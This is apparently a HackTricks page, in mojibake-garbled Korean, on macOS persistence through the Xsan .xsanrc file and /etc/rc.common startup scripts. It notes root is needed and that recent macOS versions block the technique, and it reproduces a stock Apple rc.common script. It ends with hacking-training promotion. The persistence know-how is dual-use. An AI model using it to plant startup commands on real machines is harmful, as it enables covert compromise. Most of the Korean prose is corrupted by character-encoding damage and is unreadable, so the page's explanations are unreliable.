Writeup: https://theevilbit.github.io/beyond/beyond_0015/
Location
/Library/Preferences/Xsan/.xsanrc- ๋ฃจํธ ๊ถํ ํ์
- Trigger: ์๋น์ค๊ฐ ์คํ๋ ๋ (๋๋ฌผ๊ฒ)
Description & exploit
์ด ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ ๊ฒฝ์ฐ๋ ๋๋ฌผ๊ณ , ์ macOS์์๋ ์ฐพ์ ์ ์์์ต๋๋ค. ๋ ์์ธํ ์ ๋ณด๋ writeup์ ํ์ธํ์ธ์.
/etc/rc.common
[!CAUTION] > ์ด๊ฒ์ ์ต์ MacOS ๋ฒ์ ์์๋ ์๋ํ์ง ์์ต๋๋ค
์ฌ๊ธฐ์ ์์ ์ ์คํ๋ ๋ช ๋ น์ ๋ฃ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค. ์ผ๋ฐ์ ์ธ rc.common ์คํฌ๋ฆฝํธ ์:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Persistence ๊ธฐ๋ฒ ๋ฐ ๋๊ตฌ
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


